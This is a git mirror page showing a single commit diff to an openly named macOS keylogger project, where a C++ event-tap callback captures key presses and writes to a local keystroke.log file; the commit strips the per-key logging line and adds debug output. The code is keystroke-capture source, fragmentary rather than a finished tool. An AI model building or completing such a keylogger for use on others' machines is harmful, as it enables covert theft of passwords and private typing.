mirror of
https://github.com/caseyscarborough/keylogger.git
synced 2020-11-18 19:53:40 -08:00
Stupid IO.
This commit is contained in:
parent
b648c3ade9
commit
fa84df45a4
@ -7,7 +7,7 @@
|
|||||||
using namespace std;
|
using namespace std;
|
||||||
|
|
||||||
FILE *logfile = NULL;
|
FILE *logfile = NULL;
|
||||||
CGEventRef CGEventCallback (CGEventTapProxy, CGEventType, CGEventRef, void *);
|
CGEventRef CGEventCallback(CGEventTapProxy, CGEventType, CGEventRef, void*);
|
||||||
const char *convertKeyCode(int);
|
const char *convertKeyCode(int);
|
||||||
|
|
||||||
int main(int argc, const char *argv[]) {
|
int main(int argc, const char *argv[]) {
|
||||||
@ -27,22 +27,20 @@ int main(int argc, const char *argv[]) {
|
|||||||
|
|
||||||
const char *logfileLocation = "./keystroke.log";
|
const char *logfileLocation = "./keystroke.log";
|
||||||
logfile = fopen(logfileLocation, "a");
|
logfile = fopen(logfileLocation, "a");
|
||||||
fprintf(logfile, "Keylogging has begun.\n\n");
|
fprintf(logfile, "Test");
|
||||||
|
cout << logfileLocation << endl;
|
||||||
|
fflush(logfile);
|
||||||
CFRunLoopRun();
|
CFRunLoopRun();
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
CGEventRef CGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
|
CGEventRef CGEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
|
||||||
if ((type != kCGEventKeyDown) && (type != kCGEventFlagsChanged)) {
|
if ((type != kCGEventKeyDown) && (type != kCGEventFlagsChanged)) {
|
||||||
return event;
|
return event;
|
||||||
}
|
}
|
||||||
CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
|
CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
|
||||||
|
|
||||||
fprintf(logfile, "%s", convertKeyCode(keyCode));
|
|
||||||
return event;
|
return event;
|
||||||
}
|
}
|
||||||
|
|
||||||
const char *convertKeyCode(int keyCode) {
|
|
||||||
return "keypress";
|
|
||||||
}
|
|
Loading…
x
Reference in New Issue
Block a user